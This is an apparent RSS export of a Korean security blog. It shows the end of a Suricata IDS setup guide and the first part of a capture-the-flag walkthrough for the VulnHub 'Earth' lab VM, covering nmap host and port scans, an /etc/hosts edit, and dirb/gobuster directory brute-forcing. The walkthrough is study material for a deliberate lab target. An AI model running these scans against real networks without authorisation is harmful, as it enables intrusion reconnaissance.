  &lt;tr&gt;&lt;td&gt;&lt;code&gt;-&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;단방향: 출발지 → 목적지&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;양방향: 양쪽 모두 탐지&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

&lt;hr&gt;

&lt;!-- 10 --&gt;
&lt;h1 id=&quot;tips&quot;&gt;&lt;span class=&quot;section-num&quot;&gt;10&lt;/span&gt; 트러블슈팅 &amp; 팁&lt;/h1&gt;

&lt;h3&gt;룰 문법 검사 (재시작 전 확인)&lt;/h3&gt;
&lt;pre&gt;
suricata -T -c /etc/suricata/suricata.yaml
&lt;/pre&gt;

&lt;h3&gt;수동으로 단일 PCAP 파일 분석&lt;/h3&gt;
&lt;pre&gt;
suricata -c /etc/suricata/suricata.yaml -r /path/to/file.pcap
&lt;/pre&gt;

&lt;h3&gt;특정 인터페이스에서 직접 실행 (테스트용)&lt;/h3&gt;
&lt;pre&gt;
suricata -c /etc/suricata/suricata.yaml -i enp0s3
&lt;/pre&gt;

&lt;h3&gt;eve.json에서 특정 이벤트 타입 필터링&lt;/h3&gt;
&lt;pre&gt;
&lt;span class=&quot;comment&quot;&gt;# alert 이벤트만&lt;/span&gt;
tail -f /var/log/suricata/eve.json | jq 'select(.event_type==&quot;alert&quot;)'

&lt;span class=&quot;comment&quot;&gt;# DNS 이벤트만&lt;/span&gt;
tail -f /var/log/suricata/eve.json | jq 'select(.event_type==&quot;dns&quot;)'

&lt;span class=&quot;comment&quot;&gt;# 알림 메시지와 출발지 IP만 출력&lt;/span&gt;
tail -f /var/log/suricata/eve.json | jq 'select(.event_type==&quot;alert&quot;) | {src_ip, alert: .alert.signature}'
&lt;/pre&gt;

&lt;div class=&quot;tip&quot;&gt;
    &lt;strong&gt;sid 범위 관리 권장:&lt;/strong&gt;&lt;br&gt;
  &amp;nbsp;· 1~999999 : 공식 룰셋 (수정 금지)&lt;br&gt;
  &amp;nbsp;· 1000000~1999999 : 로컬/커스텀 룰 전용&lt;br&gt;
  &amp;nbsp;· 2000000~ : ET/Open 룰셋
&lt;/div&gt;

&lt;div class=&quot;warn&quot;&gt;
  ⚠️ &lt;strong&gt;IPS 모드 전환 시 주의:&lt;/strong&gt; &lt;code&gt;alert&lt;/code&gt;를 &lt;code&gt;drop&lt;/code&gt;으로 바꾸기 전에 반드시 테스트 환경에서 충분히 검증할 것. 잘못된 룰이 정상 트래픽을 차단할 수 있다.
&lt;/div&gt;

&lt;hr&gt;
&lt;p style=&quot;color:#888; font-size:13px; text-align:center;&quot;&gt;
  본 문서는 Rocky Linux 9 / RHEL 계열 환경 기준으로 작성되었습니다.
&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;</description>
      <category>리눅스</category>
      <author>palantirops</author>
      <guid isPermaLink="true">https://palantirops.tistory.com/43</guid>
      <comments>https://palantirops.tistory.com/43#entry43comment</comments>
      <pubDate>Wed, 13 May 2026 17:22:32 +0900</pubDate>
    </item>
    <item>
      <title>[CTF: Earth] KaliLinux로 취약점 분석 및 flag 획득 방법 총정리</title>
      <link>https://palantirops.tistory.com/42</link>
      <description>&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&amp;nbsp;해당 내용은 보안 공부를 위해 진행된것입니다.&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 해당 아래 주소로 들어가서 earth.ova를 설치합니다.&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1778576368600&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;https://www.vulnhub.com/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. &lt;span style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;VirtualBox &amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파일 &amp;rarr; 가상 시스템 가져오기&lt;span style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; 다운받은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Earth.ova&lt;span style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;선택 &amp;rarr; 설정 후 머신 시작&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;# 필자는 DHCP가 되어있기 때문에, 어댑터에 브리지로 연결했습니다. 만약 본인 아이피를 정적으로 할당해야 한다면 호스트에 연결을 누르시고, 네트워크 mac대역을 확인하시고 넣으시면 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 180035.png&quot; data-origin-width=&quot;797&quot; data-origin-height=&quot;519&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cu4s05/dJMcahj8bw5/4yncNNaw36LbfCUAdNfDv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cu4s05/dJMcahj8bw5/4yncNNaw36LbfCUAdNfDv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cu4s05/dJMcahj8bw5/4yncNNaw36LbfCUAdNfDv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcu4s05%2FdJMcahj8bw5%2F4yncNNaw36LbfCUAdNfDv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;797&quot; height=&quot;519&quot; data-filename=&quot;스크린샷 2026-05-12 180035.png&quot; data-origin-width=&quot;797&quot; data-origin-height=&quot;519&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 180045.png&quot; data-origin-width=&quot;812&quot; data-origin-height=&quot;528&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CAZ6Z/dJMcajoAy3U/p62M7CDggwwzoJdzQKSyn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CAZ6Z/dJMcajoAy3U/p62M7CDggwwzoJdzQKSyn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CAZ6Z/dJMcajoAy3U/p62M7CDggwwzoJdzQKSyn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCAZ6Z%2FdJMcajoAy3U%2Fp62M7CDggwwzoJdzQKSyn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;812&quot; height=&quot;528&quot; data-filename=&quot;스크린샷 2026-05-12 180045.png&quot; data-origin-width=&quot;812&quot; data-origin-height=&quot;528&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;3. 환경 구성&lt;/span&gt;&lt;span style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style14&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;호스트&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;역활&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;OS&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;IP (실습환경)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Kali&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Attacker&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Debian GNU&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;172.16.11.213&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Earth&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Victim&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Fedora Linux&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;172.16.11.214&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 네트워크 스캔 - 타겟 IP 찾기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(4-1) CTF 머신 아이피를 찾아봅니다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78; text-align: start;&quot;&gt;&lt;code&gt;sudo nmap -sn 172.16.11.0/24
sudo netdiscover -r 172.16.11.0/24
sudo arp-scan -l&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# 해당 본인 아이피 게이트웨이 대역으로 검색을 해봅니다. 그럼 아래와 같이 나올텐데요. 발견된 호스트 목록을 봅니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 180558.png&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;305&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dRi7By/dJMcadBT7Q2/iPl6Sg8EaiyA4QT8dI5ErK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dRi7By/dJMcadBT7Q2/iPl6Sg8EaiyA4QT8dI5ErK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dRi7By/dJMcadBT7Q2/iPl6Sg8EaiyA4QT8dI5ErK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdRi7By%2FdJMcadBT7Q2%2FiPl6Sg8EaiyA4QT8dI5ErK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;657&quot; height=&quot;305&quot; data-filename=&quot;스크린샷 2026-05-12 180558.png&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;305&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;  발견된 호스트 목록&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;172.16.11.201 - Intel Corporate (물리 장비)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;172.16.11.203 - Unknown&lt;/span&gt;&lt;br /&gt;&lt;b&gt;172.16.11.214 - Oracle VirtualBox &amp;rarr; Earth 머신!&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;172.16.11.213 - Kali (본인)&lt;/span&gt; &lt;span style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;따라서 우리가 연결한 CTF 머신의 아이피는 위와 같이 설정된걸 확인할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #1a1a2e; text-align: start;&quot;&gt;(4-2)&amp;nbsp; 네트워크에서 활성화 호스트를 찾습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78; text-align: start;&quot;&gt;&lt;code&gt;sudo nmap -sV -v -p- 172.16.11.214
sudo nmap -sV -v -sC 172.16.11.214&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;  열린 포트&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;22/tcp - SSH&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;80/tcp - HTTP (Bad Request 400)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;443/tcp - HTTPS (Fedora Test Page)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;+ DNS 서비스 확인 후 해당 아이피를 Kali 파이어폭스에 들어가보면&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 180958.png&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;820&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7Ba50/dJMcadIFmnz/ylnKbkvnuGSQbMOou5MWM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7Ba50/dJMcadIFmnz/ylnKbkvnuGSQbMOou5MWM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7Ba50/dJMcadIFmnz/ylnKbkvnuGSQbMOou5MWM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7Ba50%2FdJMcadIFmnz%2FylnKbkvnuGSQbMOou5MWM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;957&quot; height=&quot;820&quot; data-filename=&quot;스크린샷 2026-05-12 180958.png&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;820&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fff8e1; color: #1a1a2e; text-align: start;&quot;&gt; &lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;80포트&lt;/b&gt;&lt;span style=&quot;background-color: #fff8e1; color: #1a1a2e; text-align: start;&quot;&gt;로 접속하면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;Bad Request(400)&lt;/b&gt;&lt;span style=&quot;background-color: #fff8e1; color: #1a1a2e; text-align: start;&quot;&gt;가 뜨는데, 이는 IP로 직접 접근했기 때문이다. 도메인으로 접근해야 정상 페이지가 보인다. -&amp;gt; 따라서 해당 화면은 정상입니다. 핑을 확인해서 시간이 가는걸 확인해보면 되겠죠?&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;&lt;span style=&quot;color: #1a1a2e; text-align: start;&quot;&gt;5. &lt;/span&gt;웹 정보 수집&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;(5-1) 아래와 같이 칼리 터미널에 입력해봅니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778577227539&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo nmap -sV -v -p- 172.16.11.214&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 181843.png&quot; data-origin-width=&quot;632&quot; data-origin-height=&quot;441&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfK3BM/dJMcaakXgGe/y87L79KacLNysqcw3FWKX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfK3BM/dJMcaakXgGe/y87L79KacLNysqcw3FWKX0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfK3BM/dJMcaakXgGe/y87L79KacLNysqcw3FWKX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfK3BM%2FdJMcaakXgGe%2Fy87L79KacLNysqcw3FWKX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;632&quot; height=&quot;441&quot; data-filename=&quot;스크린샷 2026-05-12 181843.png&quot; data-origin-width=&quot;632&quot; data-origin-height=&quot;441&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 181854.png&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;315&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXyj3Q/dJMcaakXgGf/NkEgK6YLul2TBqCwKKSxs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXyj3Q/dJMcaakXgGf/NkEgK6YLul2TBqCwKKSxs1/img.png&quot; data-alt=&quot;자세히 보시면 위에 earth.local이 보입니다! 해당 도메인을 아이피와 연결해줍니다(CTF 피해자 머신)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXyj3Q/dJMcaakXgGf/NkEgK6YLul2TBqCwKKSxs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXyj3Q%2FdJMcaakXgGf%2FNkEgK6YLul2TBqCwKKSxs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;646&quot; height=&quot;315&quot; data-filename=&quot;스크린샷 2026-05-12 181854.png&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;315&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;자세히 보시면 위에 earth.local이 보입니다! 해당 도메인을 아이피와 연결해줍니다(CTF 피해자 머신)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;accesslog&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78; text-align: start;&quot;&gt;&lt;code&gt;sudo nano /etc/hosts

# 아래 내용 추가
172.16.11.214  earth.local terratest.earth.local&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fff8e1; color: #1a1a2e; text-align: start;&quot;&gt; &lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;/etc/hosts&lt;span style=&quot;background-color: #fff8e1; color: #1a1a2e; text-align: start;&quot;&gt;에 등록하면 DNS 서버 없이도 도메인으로 접근 가능하다. 실제 모의해킹에서도 내부망 도메인 접근 시 자주 사용하는 방법이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 181215.png&quot; data-origin-width=&quot;340&quot; data-origin-height=&quot;109&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Htism/dJMcabKZunS/9qrY0rk1bkBUF63srIkG4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Htism/dJMcabKZunS/9qrY0rk1bkBUF63srIkG4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Htism/dJMcabKZunS/9qrY0rk1bkBUF63srIkG4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHtism%2FdJMcabKZunS%2F9qrY0rk1bkBUF63srIkG4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;340&quot; height=&quot;109&quot; data-filename=&quot;스크린샷 2026-05-12 181215.png&quot; data-origin-width=&quot;340&quot; data-origin-height=&quot;109&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(5-2) 디렉토리 스캐닝&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# dirb와 gobuster로 숨겨진 디렉토리/파일을 찾습니다.&lt;/p&gt;
&lt;pre class=&quot;livecodeserver&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78; text-align: start;&quot;&gt;&lt;code&gt;# dirb로 스캔
dirb http://earth.local
dirb https://earth.local
dirb https://terratest.earth.local

# gobuster로 더 깊게 스캔 (-k : SSL 인증서 무시)
sudo gobuster dir -u https://terratest.earth.local \
  -w /usr/share/wordlists/dirb/big.txt -k&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 181904.png&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;473&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csDqWj/dJMb997qC6D/MCaOTQQZGnB1femkLDEIRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csDqWj/dJMb997qC6D/MCaOTQQZGnB1femkLDEIRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csDqWj/dJMb997qC6D/MCaOTQQZGnB1femkLDEIRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcsDqWj%2FdJMb997qC6D%2FMCaOTQQZGnB1femkLDEIRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;631&quot; height=&quot;473&quot; data-filename=&quot;스크린샷 2026-05-12 181904.png&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;473&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫번째 단서1) &lt;a href=&quot;http://earth.local/admin&quot;&gt;http://earth.local/admin&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두번째 단서2) wordlist_files?&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt;해당 경로를 더 자세하게 들어가본다!&lt;/p&gt;
&lt;pre id=&quot;code_1778578066703&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# gobuster로 더 깊게 스캔 (-k : SSL 인증서 무시)
sudo gobuster dir -u https://terratest.earth.local \
  -w /usr/share/wordlists/dirb/common.txt -k&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 182343.png&quot; data-origin-width=&quot;632&quot; data-origin-height=&quot;455&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzzs4P/dJMcabxn229/rd2u4jtiMDDX86JLwwBOYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzzs4P/dJMcabxn229/rd2u4jtiMDDX86JLwwBOYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzzs4P/dJMcabxn229/rd2u4jtiMDDX86JLwwBOYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbzzs4P%2FdJMcabxn229%2Frd2u4jtiMDDX86JLwwBOYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;632&quot; height=&quot;455&quot; data-filename=&quot;스크린샷 2026-05-12 182343.png&quot; data-origin-width=&quot;632&quot; data-origin-height=&quot;455&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
